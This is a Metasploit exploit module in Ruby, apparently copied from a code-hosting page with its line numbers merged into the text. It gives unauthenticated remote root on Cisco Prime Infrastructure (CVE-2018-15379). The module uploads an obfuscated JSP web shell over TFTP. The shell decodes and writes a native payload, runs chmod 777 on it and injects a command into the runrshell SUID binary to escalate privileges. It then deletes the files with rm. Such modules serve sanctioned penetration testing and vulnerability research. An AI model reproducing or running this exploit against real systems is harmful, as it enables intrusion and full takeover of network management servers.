Path: blob/master/modules/exploits/linux/http/cisco_prime_inf_rce.rb
19758 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpClient9include Msf::Exploit::EXE10include Msf::Exploit::FileDropper1112def initialize(info = {})13super(14update_info(15info,16'Name' => 'Cisco Prime Infrastructure Unauthenticated Remote Code Execution',17'Description' => %q{18Cisco Prime Infrastructure (CPI) contains two basic flaws that when exploited allow19an unauthenticated attacker to achieve remote code execution. The first flaw is a file20upload vulnerability that allows the attacker to upload and execute files as the Apache21Tomcat user; the second is a privilege escalation to root by bypassing execution restrictions22in a SUID binary.2324This module exploits these vulnerabilities to achieve unauthenticated remote code execution25as root on the CPI default installation.2627This module has been tested with CPI 3.2.0.0.258 and 3.4.0.0.348. Earlier and later versions28might also be affected, although 3.4.0.0.348 is the latest at the time of writing.29The file upload vulnerability should have been fixed in versions 3.4.1 and 3.3.1 Update 02.30},31'Author' => [32'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and Metasploit module33],34'License' => MSF_LICENSE,35'References' => [36[ 'CVE', '2018-15379' ],37[ 'URL', 'https://seclists.org/fulldisclosure/2018/Oct/19'],38[ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/Cisco/cisco-prime-infrastructure.txt' ],39[ 'URL', 'https://blogs.securiteam.com/index.php/archives/3723' ],40[ 'URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20181003-pi-tftp' ]41],42'Platform' => 'linux',43'Arch' => [ARCH_X86, ARCH_X64],44'Targets' => [45[ 'Cisco Prime Infrastructure < 3.4.1 & 3.3.1 Update 02', {} ]46],47'Privileged' => true,48'DefaultOptions' => { 'WfsDelay' => 10 },49'DefaultTarget' => 0,50'DisclosureDate' => '2018-10-04',51'Notes' => {52'Reliability' => UNKNOWN_RELIABILITY,53'Stability' => UNKNOWN_STABILITY,54'SideEffects' => UNKNOWN_SIDE_EFFECTS55}56)57)5859register_options(60[61OptPort.new('RPORT', [true, 'The target port', 443]),62OptPort.new('RPORT_TFTP', [true, 'TFTPD port', 69]),63OptBool.new('SSL', [true, 'Use SSL connection', true]),64OptString.new('TARGETURI', [ true, "swimtemp path", '/swimtemp'])65]66)67end6869def check70res = send_request_cgi({71'uri' => normalize_uri(datastore['TARGETURI'], 'swimtemp'),72'method' => 'GET'73})7475unless res76vprint_error 'Connection failed'77return CheckCode::Unknown78end7980if res.code == 404 && res.body.length == 081# at the moment this is the best way to detect82# a 404 in swimtemp only returns the error code with a body length of 0,83# while a 404 to another webapp or to the root returns code plus a body with content84return CheckCode::Detected85end8687CheckCode::Safe88end8990def upload_payload(payload)91lport = datastore['LPORT'] || (1025 + rand(0xffff - 1025))92lhost = datastore['LHOST'] || "0.0.0.0"93remote_file = rand_text_alpha(5..16) + '.jsp'9495tftp_client = Rex::Proto::TFTP::Client.new(96"LocalHost" => lhost,97"LocalPort" => lport,98"PeerHost" => rhost,99"PeerPort" => datastore['RPORT_TFTP'],100"LocalFile" => "DATA:#{payload}",101"RemoteFile" => remote_file,102"Mode" => 'octet',103"Context" => { 'Msf' => self.framework, 'MsfExploit' => self },104"Action" => :upload105)106print_status "Uploading TFTP payload to #{rhost}:#{datastore['TFTP_PORT']} as '#{remote_file}'"107tftp_client.send_write_request108109remote_file110end111112def generate_jsp_payload113exe = generate_payload_exe114base64_exe = Rex::Text.encode_base64(exe)115116native_payload_name = rand_text_alpha(3..9)117118var_raw = rand_text_alpha(3..11)119var_ostream = rand_text_alpha(3..11)120var_pstream = rand_text_alpha(3..11)121var_buf = rand_text_alpha(3..11)122var_decoder = rand_text_alpha(3..11)123var_tmp = rand_text_alpha(3..11)124var_path = rand_text_alpha(3..11)125var_tmp2 = rand_text_alpha(3..11)126var_path2 = rand_text_alpha(3..11)127var_proc2 = rand_text_alpha(3..11)128129var_proc1 = rand_text_alpha(3..11)130chmod = %Q|131Process #{var_proc1} = Runtime.getRuntime().exec("chmod 777 " + #{var_path} + " " + #{var_path2});132Thread.sleep(200);133|134135var_proc3 = Rex::Text.rand_text_alpha(3..11)136cleanup = %Q|137Thread.sleep(200);138Process #{var_proc3} = Runtime.getRuntime().exec("rm " + #{var_path} + " " + #{var_path2});139|140141jsp = %Q|142<%@page import="java.io.*"%>143<%@page import="sun.misc.BASE64Decoder"%>144<%145try {146String #{var_buf} = "#{base64_exe}";147BASE64Decoder #{var_decoder} = new BASE64Decoder();148byte[] #{var_raw} = #{var_decoder}.decodeBuffer(#{var_buf}.toString());149150File #{var_tmp} = File.createTempFile("#{native_payload_name}", ".bin");151String #{var_path} = #{var_tmp}.getAbsolutePath();152153BufferedOutputStream #{var_ostream} =154new BufferedOutputStream(new FileOutputStream(#{var_path}));155#{var_ostream}.write(#{var_raw});156#{var_ostream}.close();157158File #{var_tmp2} = File.createTempFile("#{native_payload_name}", ".sh");159String #{var_path2} = #{var_tmp2}.getAbsolutePath();160161PrintWriter #{var_pstream} =162new PrintWriter(new FileOutputStream(#{var_path2}));163#{var_pstream}.println("!#/bin/sh");164#{var_pstream}.println("/opt/CSCOlumos/bin/runrshell '\\" && " + #{var_path} + " #'");165#{var_pstream}.close();166#{chmod}167168Process #{var_proc2} = Runtime.getRuntime().exec(#{var_path2});169#{cleanup}170} catch (Exception e) {171}172%>173|174175jsp = jsp.gsub(/\n/, '')176jsp = jsp.gsub(/\t/, '')177jsp = jsp.gsub(/\x0d\x0a/, "")178jsp = jsp.gsub(/\x0a/, "")179180return jsp181end182183def exploit184jsp_payload = generate_jsp_payload185186jsp_name = upload_payload(jsp_payload)187188# we land in /opt/CSCOlumos, so we don't know the apache directory189# as it changes between versions... so leave this commented for now190# ... and try to find a good way to clean it later191print_warning "#{jsp_name} must be manually removed from the Apache in /opt/CSCOlumos"192# register_files_for_cleanup(jsp_name)193194print_status("#{peer} - Executing payload...")195send_request_cgi({196'uri' => normalize_uri(datastore['TARGETURI'], jsp_name),197'method' => 'GET'198})199200handler201end202end203204205